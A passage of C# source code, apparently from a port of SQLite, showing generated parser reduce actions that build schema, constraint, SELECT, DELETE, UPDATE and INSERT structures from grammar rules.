column ::= columnid type carglist */\n          //#line 177 \"parse.y\"\n          {\n            //yygotominor.yy0.z = yymsp[-2].minor.yy0.z;\n            //yygotominor.yy0.n = (int)(pParse.sLastToken.z-yymsp[-2].minor.yy0.z) + pParse.sLastToken.n;\n            yygotominor.yy0.n = (int)(yymsp[-2].minor.yy0.z.Length - pParse.sLastToken.z.Length) + pParse.sLastToken.n;\n            yygotominor.yy0.z = yymsp[-2].minor.yy0.z.Substring(0, yygotominor.yy0.n);\n          }\n          //#line 2206 \"parse.c\"\n          break;\n        case 37: /* columnid ::= nm */\n          //#line 181 \"parse.y\"\n          {\n            sqlite3AddColumn(pParse, yymsp[0].minor.yy0);\n            yygotominor.yy0 = yymsp[0].minor.yy0;\n          }\n          //#line 2214 \"parse.c\"\n          break;\n        case 38: /* id ::= ID */\n        case 39: /* id ::= INDEXED */ //yytestcase(yyruleno==39);\n        case 40: /* ids ::= ID|STRING */ //yytestcase(yyruleno==40);\n        case 41: /* nm ::= id */ //yytestcase(yyruleno==41);\n        case 42: /* nm ::= STRING */ //yytestcase(yyruleno==42);\n        case 43: /* nm ::= JOIN_KW */ //yytestcase(yyruleno==43);\n        case 46: /* typetoken ::= typename */ //yytestcase(yyruleno==46);\n        case 49: /* typename ::= ids */ //yytestcase(yyruleno==49);\n        case 126: /* as ::= AS nm */ //yytestcase(yyruleno==126);\n        case 127: /* as ::= ids */ //yytestcase(yyruleno==127);\n        case 137: /* dbnm ::= DOT nm */ //yytestcase(yyruleno==137);\n        case 146: /* indexed_opt ::= INDEXED BY nm */ //yytestcase(yyruleno==146);\n        case 251: /* collate ::= COLLATE ids */ //yytestcase(yyruleno==251);\n        case 260: /* nmnum ::= plus_num */ //yytestcase(yyruleno==260);\n        case 261: /* nmnum ::= nm */ //yytestcase(yyruleno==261);\n        case 262: /* nmnum ::= ON */ //yytestcase(yyruleno==262);\n        case 263: /* nmnum ::= DELETE */ //yytestcase(yyruleno==263);\n        case 264: /* nmnum ::= DEFAULT */ //yytestcase(yyruleno==264);\n        case 265: /* plus_num ::= plus_opt number */ //yytestcase(yyruleno==265);\n        case 266: /* minus_num ::= MINUS number */ //yytestcase(yyruleno==266);\n        case 267: /* number ::= INTEGER|FLOAT */ //yytestcase(yyruleno==267);\n        case 285: /* trnm ::= nm */ //yytestcase( yyruleno == 285 );\n          //#line 191 \"parse.y\"\n          { yygotominor.yy0 = yymsp[0].minor.yy0; }\n          //#line 2240 \"parse.c\"\n          break;\n        case 45: /* type ::= typetoken */\n          //#line 253 \"parse.y\"\n          { sqlite3AddColumnType(pParse, yymsp[0].minor.yy0); }\n          //#line 2245 \"parse.c\"\n          break;\n        case 47: /* typetoken ::= typename LP signed RP */\n          //#line 255 \"parse.y\"\n          {\n            //yygotominor.yy0.z = yymsp[-3].minor.yy0.z;\n            //yygotominor.yy0.n = (int)( yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-3].minor.yy0.z );\n            yygotominor.yy0.n = yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + yymsp[0].minor.yy0.n;\n            yygotominor.yy0.z = yymsp[-3].minor.yy0.z.Substring(0, yygotominor.yy0.n);\n          }\n          //#line 2253 \"parse.c\"\n          break;\n        case 48: /* typetoken ::= typename LP signed COMMA signed RP */\n          //#line 259 \"parse.y\"\n          {\n            //yygotominor.yy0.z = yymsp[-5].minor.yy0.z;\n            //yygotominor.yy0.n = (int)(yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-5].minor.yy0.z);\n            yygotominor.yy0.n = yymsp[-5].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + 1;\n            yygotominor.yy0.z = yymsp[-5].minor.yy0.z.Substring(0, yygotominor.yy0.n);\n          }\n          //#line 2261 \"parse.c\"\n          break;\n        case 50: /* typename ::= typename ids */\n          //#line 265 \"parse.y\"\n          {\n            //yygotominor.yy0.z=yymsp[-1].minor.yy0.z; yygotominor.yy0.n=yymsp[0].minor.yy0.n+(int)(yymsp[0].minor.yy0.z-yymsp[-1].minor.yy0.z);\n            yygotominor.yy0.z = yymsp[-1].minor.yy0.z;\n            yygotominor.yy0.n = yymsp[0].minor.yy0.n + (int)(yymsp[-1].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length);\n          }\n          //#line 2266 \"parse.c\"\n          break;\n        case 57: /* ccons ::= DEFAULT term */\n        case 59: /* ccons ::= DEFAULT PLUS term */ //yytestcase(yyruleno==59);\n          //#line 276 \"parse.y\"\n          { sqlite3AddDefaultValue(pParse, yymsp[0].minor.yy346); }\n          //#line 2272 \"parse.c\"\n          break;\n        case 58: /* ccons ::= DEFAULT LP expr RP */\n          //#line 277 \"parse.y\"\n          { sqlite3AddDefaultValue(pParse, yymsp[-1].minor.yy346); }\n          //#line 2277 \"parse.c\"\n          break;\n        case 60: /* ccons ::= DEFAULT MINUS term */\n          //#line 279 \"parse.y\"\n          {\n            ExprSpan v = new ExprSpan();\n            v.pExpr = sqlite3PExpr(pParse, TK_UMINUS, yymsp[0].minor.yy346.pExpr, 0, 0);\n            v.zStart = yymsp[-1].minor.yy0.z;\n            v.zEnd = yymsp[0].minor.yy346.zEnd;\n            sqlite3AddDefaultValue(pParse, v);\n          }\n          //#line 2288 \"parse.c\"\n          break;\n        case 61: /* ccons ::= DEFAULT id */\n          //#line 286 \"parse.y\"\n          {\n            ExprSpan v = new ExprSpan();\n            spanExpr(v, pParse, TK_STRING, yymsp[0].minor.yy0);\n            sqlite3AddDefaultValue(pParse, v);\n          }\n          //#line 2297 \"parse.c\"\n          break;\n        case 63: /* ccons ::= NOT NULL onconf */\n          //#line 296 \"parse.y\"\n          { sqlite3AddNotNull(pParse, yymsp[0].minor.yy328); }\n          //#line 2302 \"parse.c\"\n          break;\n        case 64: /* ccons ::= PRIMARY KEY sortorder onconf autoinc */\n          //#line 298 \"parse.y\"\n          { sqlite3AddPrimaryKey(pParse, 0, yymsp[-1].minor.yy328, yymsp[0].minor.yy328, yymsp[-2].minor.yy328); }\n          //#line 2307 \"parse.c\"\n          break;\n        case 65: /* ccons ::= UNIQUE onconf */\n          //#line 299 \"parse.y\"\n          { sqlite3CreateIndex(pParse, 0, 0, 0, 0, yymsp[0].minor.yy328, 0, 0, 0, 0); }\n          //#line 2312 \"parse.c\"\n          break;\n        case 66: /* ccons ::= CHECK LP expr RP */\n          //#line 300 \"parse.y\"\n          { sqlite3AddCheckConstraint(pParse, yymsp[-1].minor.yy346.pExpr); }\n          //#line 2317 \"parse.c\"\n          break;\n        case 67: /* ccons ::= REFERENCES nm idxlist_opt refargs */\n          //#line 302 \"parse.y\"\n          { sqlite3CreateForeignKey(pParse, 0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy14, yymsp[0].minor.yy328); }\n          //#line 2322 \"parse.c\"\n          break;\n        case 68: /* ccons ::= defer_subclause */\n          //#line 303 \"parse.y\"\n          { sqlite3DeferForeignKey(pParse, yymsp[0].minor.yy328); }\n          //#line 2327 \"parse.c\"\n          break;\n        case 69: /* ccons ::= COLLATE ids */\n          //#line 304 \"parse.y\"\n          { sqlite3AddCollateType(pParse, yymsp[0].minor.yy0); }\n          //#line 2332 \"parse.c\"\n          break;\n        case 72: /* refargs ::= */\n          //#line 317 \"parse.y\"\n          { yygotominor.yy328 = OE_Restrict * 0x010101; }\n          //#line 2337 \"parse.c\"\n          break;\n        case 73: /* refargs ::= refargs refarg */\n          //#line 318 \"parse.y\"\n          { yygotominor.yy328 = (yymsp[-1].minor.yy328 & ~yymsp[0].minor.yy429.mask) | yymsp[0].minor.yy429.value; }\n          //#line 2342 \"parse.c\"\n          break;\n        case 74: /* refarg ::= MATCH nm */\n          //#line 320 \"parse.y\"\n          { yygotominor.yy429.value = 0; yygotominor.yy429.mask = 0x000000; }\n          //#line 2347 \"parse.c\"\n          break;\n        case 75: /* refarg ::= ON DELETE refact */\n          //#line 321 \"parse.y\"\n          { yygotominor.yy429.value = yymsp[0].minor.yy328; yygotominor.yy429.mask = 0x0000ff; }\n          //#line 2352 \"parse.c\"\n          break;\n        case 76: /* refarg ::= ON UPDATE refact */\n          //#line 322 \"parse.y\"\n          { yygotominor.yy429.value = yymsp[0].minor.yy328 << 8; yygotominor.yy429.mask = 0x00ff00; }\n          //#line 2357 \"parse.c\"\n          break;\n        case 77: /* refarg ::= ON INSERT refact */\n          //#line 323 \"parse.y\"\n          { yygotominor.yy429.value = yymsp[0].minor.yy328 << 16; yygotominor.yy429.mask = 0xff0000; }\n          //#line 2362 \"parse.c\"\n          break;\n        case 78: /* refact ::= SET NULL */\n          //#line 325 \"parse.y\"\n          { yygotominor.yy328 = OE_SetNull; }\n          //#line 2367 \"parse.c\"\n          break;\n        case 79: /* refact ::= SET DEFAULT */\n          //#line 326 \"parse.y\"\n          { yygotominor.yy328 = OE_SetDflt; }\n          //#line 2372 \"parse.c\"\n          break;\n        case 80: /* refact ::= CASCADE */\n          //#line 327 \"parse.y\"\n          { yygotominor.yy328 = OE_Cascade; }\n          //#line 2377 \"parse.c\"\n          break;\n        case 81: /* refact ::= RESTRICT */\n          //#line 328 \"parse.y\"\n          { yygotominor.yy328 = OE_Restrict; }\n          //#line 2382 \"parse.c\"\n          break;\n        case 82: /* defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt */\n        case 83: /* defer_subclause ::= DEFERRABLE init_deferred_pred_opt */ //yytestcase(yyruleno==83);\n        case 98: /* defer_subclause_opt ::= defer_subclause */ //yytestcase(yyruleno==98);\n        case 100: /* onconf ::= ON CONFLICT resolvetype */ //yytestcase(yyruleno==100);\n        case 103: /* resolvetype ::= raisetype */ //yytestcase(yyruleno==103);\n          //#line 330 \"parse.y\"\n          { yygotominor.yy328 = yymsp[0].minor.yy328; }\n          //#line 2391 \"parse.c\"\n          break;\n        case 87: /* conslist_opt ::= */\n          //#line 340 \"parse.y\"\n          { yygotominor.yy0.n = 0; yygotominor.yy0.z = null; }\n          //#line 2396 \"parse.c\"\n          break;\n        case 88: /* conslist_opt ::= COMMA conslist */\n          //#line 341 \"parse.y\"\n          { yygotominor.yy0 = yymsp[-1].minor.yy0; }\n          //#line 2401 \"parse.c\"\n          break;\n        case 93: /* tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf */\n          //#line 347 \"parse.y\"\n          { sqlite3AddPrimaryKey(pParse, yymsp[-3].minor.yy14, yymsp[0].minor.yy328, yymsp[-2].minor.yy328, 0); }\n          //#line 2406 \"parse.c\"\n          break;\n        case 94: /* tcons ::= UNIQUE LP idxlist RP onconf */\n          //#line 349 \"parse.y\"\n          { sqlite3CreateIndex(pParse, 0, 0, 0, yymsp[-2].minor.yy14, yymsp[0].minor.yy328, 0, 0, 0, 0); }\n          //#line 2411 \"parse.c\"\n          break;\n        case 95: /* tcons ::= CHECK LP expr RP onconf */\n          //#line 351 \"parse.y\"\n          { sqlite3AddCheckConstraint(pParse, yymsp[-2].minor.yy346.pExpr); }\n          //#line 2416 \"parse.c\"\n          break;\n        case 96: /* tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt */\n          //#line 353 \"parse.y\"\n          {\n            sqlite3CreateForeignKey(pParse, yymsp[-6].minor.yy14, yymsp[-3].minor.yy0, yymsp[-2].minor.yy14, yymsp[-1].minor.yy328);\n            sqlite3DeferForeignKey(pParse, yymsp[0].minor.yy328);\n          }\n          //#line 2424 \"parse.c\"\n          break;\n        case 99: /* onconf ::= */\n          //#line 367 \"parse.y\"\n          { yygotominor.yy328 = OE_Default; }\n          //#line 2429 \"parse.c\"\n          break;\n        case 101: /* orconf ::= */\n          //#line 369 \"parse.y\"\n          { yygotominor.yy186 = OE_Default; }\n          //#line 2434 \"parse.c\"\n          break;\n        case 102: /* orconf ::= OR resolvetype */\n          //#line 370 \"parse.y\"\n          { yygotominor.yy186 = (u8)yymsp[0].minor.yy328; }\n          //#line 2439 \"parse.c\"\n          break;\n        case 104: /* resolvetype ::= IGNORE */\n          //#line 372 \"parse.y\"\n          { yygotominor.yy328 = OE_Ignore; }\n          //#line 2444 \"parse.c\"\n          break;\n        case 105: /* resolvetype ::= REPLACE */\n          //#line 373 \"parse.y\"\n          { yygotominor.yy328 = OE_Replace; }\n          //#line 2449 \"parse.c\"\n          break;\n        case 106: /* cmd ::= DROP TABLE ifexists fullname */\n          //#line 377 \"parse.y\"\n          {\n            sqlite3DropTable(pParse, yymsp[0].minor.yy65, 0, yymsp[-1].minor.yy328);\n          }\n          //#line 2456 \"parse.c\"\n          break;\n        case 109: /* cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select */\n          //#line 387 \"parse.y\"\n          {\n            sqlite3CreateView(pParse, yymsp[-7].minor.yy0, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy3, yymsp[-6].minor.yy328, yymsp[-4].minor.yy328);\n          }\n          //#line 2463 \"parse.c\"\n          break;\n        case 110: /* cmd ::= DROP VIEW ifexists fullname */\n          //#line 390 \"parse.y\"\n          {\n            sqlite3DropTable(pParse, yymsp[0].minor.yy65, 1, yymsp[-1].minor.yy328);\n          }\n          //#line 2470 \"parse.c\"\n          break;\n        case 111: /* cmd ::= select */\n          //#line 397 \"parse.y\"\n          {\n            SelectDest dest = new SelectDest(SRT_Output, '\\0', 0, 0, 0);\n            sqlite3Select(pParse, yymsp[0].minor.yy3, ref dest);\n            sqlite3SelectDelete(pParse.db, ref yymsp[0].minor.yy3);\n          }\n          //#line 2479 \"parse.c\"\n          break;\n        case 112: /* select ::= oneselect */\n          //#line 408 \"parse.y\"\n          { yygotominor.yy3 = yymsp[0].minor.yy3; }\n          //#line 2484 \"parse.c\"\n          break;\n        case 113: /* select ::= select multiselect_op oneselect */\n          //#line 410 \"parse.y\"\n          {\n            if (yymsp[0].minor.yy3 != null)\n            {\n              yymsp[0].minor.yy3.op = (u8)yymsp[-1].minor.yy328;\n              yymsp[0].minor.yy3.pPrior = yymsp[-2].minor.yy3;\n            }\n            else\n            {\n              sqlite3SelectDelete(pParse.db, ref yymsp[-2].minor.yy3);\n            }\n            yygotominor.yy3 = yymsp[0].minor.yy3;\n          }\n          //#line 2497 \"parse.c\"\n          break;\n        case 115: /* multiselect_op ::= UNION ALL */\n          //#line 421 \"parse.y\"\n          { yygotominor.yy328 = TK_ALL; }\n          //#line 2502 \"parse.c\"\n          break;\n        case 117: /* oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt */\n          //#line 425 \"parse.y\"\n          {\n            yygotominor.yy3 = sqlite3SelectNew(pParse, yymsp[-6].minor.yy14, yymsp[-5].minor.yy65, yymsp[-4].minor.yy132, yymsp[-3].minor.yy14, yymsp[-2].minor.yy132, yymsp[-1].minor.yy14, yymsp[-7].minor.yy328, yymsp[0].minor.yy476.pLimit, yymsp[0].minor.yy476.pOffset);\n          }\n          //#line 2509 \"parse.c\"\n          break;\n        case 121: /* sclp ::= selcollist COMMA */\n        case 247: /* idxlist_opt ::= LP idxlist RP */ //yytestcase(yyruleno==247);\n          //#line 446 \"parse.y\"\n          { yygotominor.yy14 = yymsp[-1].minor.yy14; }\n          //#line 2515 \"parse.c\"\n          break;\n        case 122: /* sclp ::= */\n        case 150: /* orderby_opt ::= */ //yytestcase(yyruleno==150);\n        case 158: /* groupby_opt ::= */ //yytestcase(yyruleno==158);\n        case 240: /* exprlist ::= */ //yytestcase(yyruleno==240);\n        case 246: /* idxlist_opt ::= */ //yytestcase(yyruleno==246);\n          //#line 447 \"parse.y\"\n          { yygotominor.yy14 = null; }\n          //#line 2524 \"parse.c\"\n          break;\n        case 123: /* selcollist ::= sclp expr as */\n          //#line 448 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-2].minor.yy14, yymsp[-1].minor.yy346.pExpr);\n            if (yymsp[0].minor.yy0.n > 0) sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[0].minor.yy0, 1);\n            sqlite3ExprListSetSpan(pParse, yygotominor.yy14, yymsp[-1].minor.yy346);\n          }\n          //#line 2533 \"parse.c\"\n          break;\n        case 124: /* selcollist ::= sclp STAR */\n          //#line 453 \"parse.y\"\n          {\n            Expr p = sqlite3Expr(pParse.db, TK_ALL, null);\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-1].minor.yy14, p);\n          }\n          //#line 2541 \"parse.c\"\n          break;\n        case 125: /* selcollist ::= sclp nm DOT STAR */\n          //#line 457 \"parse.y\"\n          {\n            Expr pRight = sqlite3PExpr(pParse, TK_ALL, 0, 0, yymsp[0].minor.yy0);\n            Expr pLeft = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0);\n            Expr pDot = sqlite3PExpr(pParse, TK_DOT, pLeft, pRight, 0);\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-3].minor.yy14, pDot);\n          }\n          //#line 2551 \"parse.c\"\n          break;\n        case 128: /* as ::= */\n          //#line 470 \"parse.y\"\n          { yygotominor.yy0.n = 0; }\n          //#line 2556 \"parse.c\"\n          break;\n        case 129: /* from ::= */\n          //#line 482 \"parse.y\"\n          { yygotominor.yy65 = new SrcList(); }//sqlite3DbMallocZero(pParse.db, sizeof(*yygotominor.yy65));\n          //#line 2561 \"parse.c\"\n          break;\n        case 130: /* from ::= FROM seltablist */\n          //#line 483 \"parse.y\"\n          {\n            yygotominor.yy65 = yymsp[0].minor.yy65;\n            sqlite3SrcListShiftJoinType(yygotominor.yy65);\n          }\n          //#line 2569 \"parse.c\"\n          break;\n        case 131: /* stl_prefix ::= seltablist joinop */\n          //#line 491 \"parse.y\"\n          {\n            yygotominor.yy65 = yymsp[-1].minor.yy65;\n            if (ALWAYS(yygotominor.yy65 != null && yygotominor.yy65.nSrc > 0)) yygotominor.yy65.a[yygotominor.yy65.nSrc - 1].jointype = (u8)yymsp[0].minor.yy328;\n          }\n          //#line 2577 \"parse.c\"\n          break;\n        case 132: /* stl_prefix ::= */\n          //#line 495 \"parse.y\"\n          { yygotominor.yy65 = null; }\n          //#line 2582 \"parse.c\"\n          break;\n        case 133: /* seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt */\n          //#line 496 \"parse.y\"\n          {\n            yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, yymsp[-5].minor.yy0, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, 0, yymsp[-1].minor.yy132, yymsp[0].minor.yy408);\n            sqlite3SrcListIndexedBy(pParse, yygotominor.yy65, yymsp[-2].minor.yy0);\n          }\n          //#line 2590 \"parse.c\"\n          break;\n        case 134: /* seltablist ::= stl_prefix LP select RP as on_opt using_opt */\n          //#line 502 \"parse.y\"\n          {\n            yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, 0, 0, yymsp[-2].minor.yy0, yymsp[-4].minor.yy3, yymsp[-1].minor.yy132, yymsp[0].minor.yy408);\n          }\n          //#line 2597 \"parse.c\"\n          break;\n        case 135: /* seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt */\n          //#line 506 \"parse.y\"\n          {\n            if (yymsp[-6].minor.yy65 == null && yymsp[-2].minor.yy0.n == 0 && yymsp[-1].minor.yy132 == null && yymsp[0].minor.yy408 == null)\n            {\n              yygotominor.yy65 = yymsp[-4].minor.yy65;\n            }\n            else\n            {\n              Select pSubquery;\n              sqlite3SrcListShiftJoinType(yymsp[-4].minor.yy65);\n              pSubquery = sqlite3SelectNew(pParse, 0, yymsp[-4].minor.yy65, 0, 0, 0, 0, 0, 0, 0);\n              yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, 0, 0, yymsp[-2].minor.yy0, pSubquery, yymsp[-1].minor.yy132, yymsp[0].minor.yy408);\n            }\n          }\n          //#line 2611 \"parse.c\"\n          break;\n        case 136: /* dbnm ::= */\n        case 145: /* indexed_opt ::= */ //yytestcase(yyruleno==145);\n          //#line 531 \"parse.y\"\n          { yygotominor.yy0.z = null; yygotominor.yy0.n = 0; }\n          //#line 2617 \"parse.c\"\n          break;\n        case 138: /* fullname ::= nm dbnm */\n          //#line 536 \"parse.y\"\n          { yygotominor.yy65 = sqlite3SrcListAppend(pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); }\n          //#line 2622 \"parse.c\"\n          break;\n        case 139: /* joinop ::= COMMA|JOIN */\n          //#line 540 \"parse.y\"\n          { yygotominor.yy328 = JT_INNER; }\n          //#line 2627 \"parse.c\"\n          break;\n        case 140: /* joinop ::= JOIN_KW JOIN */\n          //#line 541 \"parse.y\"\n          { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-1].minor.yy0, 0, 0); }\n          //#line 2632 \"parse.c\"\n          break;\n        case 141: /* joinop ::= JOIN_KW nm JOIN */\n          //#line 542 \"parse.y\"\n          { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0, 0); }\n          //#line 2637 \"parse.c\"\n          break;\n        case 142: /* joinop ::= JOIN_KW nm nm JOIN */\n          //#line 544 \"parse.y\"\n          { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0); }\n          //#line 2642 \"parse.c\"\n          break;\n        case 143: /* on_opt ::= ON expr */\n        case 154: /* sortitem ::= expr */ //yytestcase(yyruleno==154);\n        case 161: /* having_opt ::= HAVING expr */ //yytestcase(yyruleno==161);\n        case 168: /* where_opt ::= WHERE expr */ //yytestcase(yyruleno==168);\n        case 235: /* case_else ::= ELSE expr */ //yytestcase(yyruleno==235);\n        case 237: /* case_operand ::= expr */ //yytestcase(yyruleno==237);\n          //#line 548 \"parse.y\"\n          { yygotominor.yy132 = yymsp[0].minor.yy346.pExpr; }\n          //#line 2652 \"parse.c\"\n          break;\n        case 144: /* on_opt ::= */\n        case 160: /* having_opt ::= */ //yytestcase(yyruleno==160);\n        case 167: /* where_opt ::= */ //yytestcase(yyruleno==167);\n        case 236: /* case_else ::= */ //yytestcase(yyruleno==236);\n        case 238: /* case_operand ::= */ //yytestcase(yyruleno==238);\n          //#line 549 \"parse.y\"\n          { yygotominor.yy132 = null; }\n          //#line 2661 \"parse.c\"\n          break;\n        case 147: /* indexed_opt ::= NOT INDEXED */\n          //#line 564 \"parse.y\"\n          { yygotominor.yy0.z = null; yygotominor.yy0.n = 1; }\n          //#line 2666 \"parse.c\"\n          break;\n        case 148: /* using_opt ::= USING LP inscollist RP */\n        case 180: /* inscollist_opt ::= LP inscollist RP */ //yytestcase(yyruleno==180);\n          //#line 568 \"parse.y\"\n          { yygotominor.yy408 = yymsp[-1].minor.yy408; }\n          //#line 2672 \"parse.c\"\n          break;\n        case 149: /* using_opt ::= */\n        case 179: /* inscollist_opt ::= */ //yytestcase(yyruleno==179);\n          //#line 569 \"parse.y\"null\n          { yygotominor.yy408 = null; }\n          //#line 2678 \"parse.c\"\n          break;\n        case 151: /* orderby_opt ::= ORDER BY sortlist */\n        case 159: /* groupby_opt ::= GROUP BY nexprlist */ //yytestcase(yyruleno==159);\n        case 239: /* exprlist ::= nexprlist */ //yytestcase(yyruleno==239);\n          //#line 580 \"parse.y\"\n          { yygotominor.yy14 = yymsp[0].minor.yy14; }\n          //#line 2685 \"parse.c\"\n          break;\n        case 152: /* sortlist ::= sortlist COMMA sortitem sortorder */\n          //#line 581 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-3].minor.yy14, yymsp[-1].minor.yy132);\n            if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328;\n          }\n          //#line 2693 \"parse.c\"\n          break;\n        case 153: /* sortlist ::= sortitem sortorder */\n          //#line 585 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[-1].minor.yy132);\n            if (yygotominor.yy14 != null && ALWAYS(yygotominor.yy14.a)) yygotominor.yy14.a[0].sortOrder = (u8)yymsp[0].minor.yy328;\n          }\n          //#line 2701 \"parse.c\"\n          break;\n        case 155: /* sortorder ::= ASC */\n        case 157: /* sortorder ::= */ //yytestcase(yyruleno==157);\n          //#line 593 \"parse.y\"\n          { yygotominor.yy328 = SQLITE_SO_ASC; }\n          //#line 2707 \"parse.c\"\n          break;\n        case 156: /* sortorder ::= DESC */\n          //#line 594 \"parse.y\"\n          { yygotominor.yy328 = SQLITE_SO_DESC; }\n          //#line 2712 \"parse.c\"\n          break;\n        case 162: /* limit_opt ::= */\n          //#line 620 \"parse.y\"\n          { yygotominor.yy476.pLimit = null; yygotominor.yy476.pOffset = null; }\n          //#line 2717 \"parse.c\"\n          break;\n        case 163: /* limit_opt ::= LIMIT expr */\n          //#line 621 \"parse.y\"\n          { yygotominor.yy476.pLimit = yymsp[0].minor.yy346.pExpr; yygotominor.yy476.pOffset = null; }\n          //#line 2722 \"parse.c\"\n          break;\n        case 164: /* limit_opt ::= LIMIT expr OFFSET expr */\n          //#line 623 \"parse.y\"\n          { yygotominor.yy476.pLimit = yymsp[-2].minor.yy346.pExpr; yygotominor.yy476.pOffset = yymsp[0].minor.yy346.pExpr; }\n          //#line 2727 \"parse.c\"\n          break;\n        case 165: /* limit_opt ::= LIMIT expr COMMA expr */\n          //#line 625 \"parse.y\"\n          { yygotominor.yy476.pOffset = yymsp[-2].minor.yy346.pExpr; yygotominor.yy476.pLimit = yymsp[0].minor.yy346.pExpr; }\n          //#line 2732 \"parse.c\"\n          break;\n        case 166: /* cmd ::= DELETE FROM fullname indexed_opt where_opt */\n          //#line 638 \"parse.y\"\n          {\n            sqlite3SrcListIndexedBy(pParse, yymsp[-2].minor.yy65, yymsp[-1].minor.yy0);\n            sqlite3DeleteFrom(pParse, yymsp[-2].minor.yy65, yymsp[0].minor.yy132);\n          }\n          //#line 2740 \"parse.c\"\n          break;\n        case 169: /* cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt */\n          //#line 661 \"parse.y\"\n          {\n            sqlite3SrcListIndexedBy(pParse, yymsp[-4].minor.yy65, yymsp[-3].minor.yy0);\n            sqlite3ExprListCheckLength(pParse, yymsp[-1].minor.yy14, \"set list\");\n            sqlite3Update(pParse, yymsp[-4].minor.yy65, yymsp[-1].minor.yy14, yymsp[0].minor.yy132, yymsp[-5].minor.yy186);\n          }\n          //#line 2749 \"parse.c\"\n          break;\n        case 170: /* setlist ::= setlist COMMA nm EQ expr */\n          //#line 671 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, yymsp[0].minor.yy346.pExpr);\n            sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1);\n          }\n          //#line 2757 \"parse.c\"\n          break;\n        case 171: /* setlist ::= nm EQ expr */\n          //#line 675 \"parse.y\"\n          {\n            yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[0].minor.yy346.pExpr);\n            sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1);\n          }\n          //#line 2765 \"parse.c\"\n          break;\n        case 172: /* cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP */\n          //#line 684 \"parse.y\"\n          { sqlite3Insert(pParse, yymsp[-5].minor.yy65, yymsp[-1].minor.yy14, 0, yymsp[-4].minor.yy408, yymsp[-7].minor.yy186); }\n          //#line 2770 \"parse.c\"\n          break;\n        case 173: /* cmd ::= insert_cmd INTO fullname inscollist_opt select */\n          //#line 686 \"parse.y\"\n          { sqlite3Insert(pParse, yymsp[-2].minor.yy65, 0, yymsp[0].minor.yy3, yymsp[-1].minor.yy408, yymsp[-4].minor.yy186); }\n          //#line 2775 \"parse.c\"\n          break;\n        case 174: /* cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES */\n          //#line 688 \"parse.y\"\n          { sqlite3Insert(pParse, yymsp[-3].minor.yy65, 0, 0, yymsp[-2].minor.yy408, yymsp[-5].minor.yy186); }\n          //#line 2780 \"parse.c\"\n          break;\n        case 175: /* insert_cmd ::= INSERT orconf */\n          //#line 691 \"parse.y\"\n          { yygotominor.yy186 = yymsp[0].minor.yy186; }\n          //#line 2785 \"parse.c\"\n          break;\n        case 176: /* insert_cmd ::= REPLACE */\n          //#line 692 \"parse.y\"\n          { yygotominor.yy186 = OE_Replace; }\n          //#line 2790 \"parse.c\"\n          break;\n        case 177: /* itemlist ::= itemlist COMMA expr */\n        case 241: /* nexprlist ::= nexprlist COMMA expr */ //yytestcase(yyruleno==241);\n          //#line 699 \"parse.y\"\n          { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-2].minor.yy14, yymsp[0].minor.yy346.pExpr); }\n          //#line 2796 \"parse.c\"\n          break;\n        case 178: /* itemlist ::= expr */\n        case 242: /* nexprlist ::= expr */ //yytestcase(yyruleno==242);\n          //#line 701 \"parse.y\"\n          { yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[0].minor.yy346.pExpr); }\n          //#line 2802 \"parse.c\"\n          break;\n        case 181: /* inscollist ::= inscollist COMMA nm */\n          //#line 711 \"parse.y\"\n          { yygotominor.yy408 = sqlite3IdListAppend(pParse.db, yymsp[-2].minor.yy408, yymsp[0].minor.yy0); }\n          //#line 2807 \"parse.c\"\n          break;\n        case 182: /* inscollist ::= nm */\n          //#line 713 \"parse.y\"\n          { yygotominor.yy408 = sqlite3IdListAppend(pParse.db, 0, yymsp[0].minor.yy0); }\n          //#line 2812 \"parse.c\"\n          break;\n        case 183: /* expr 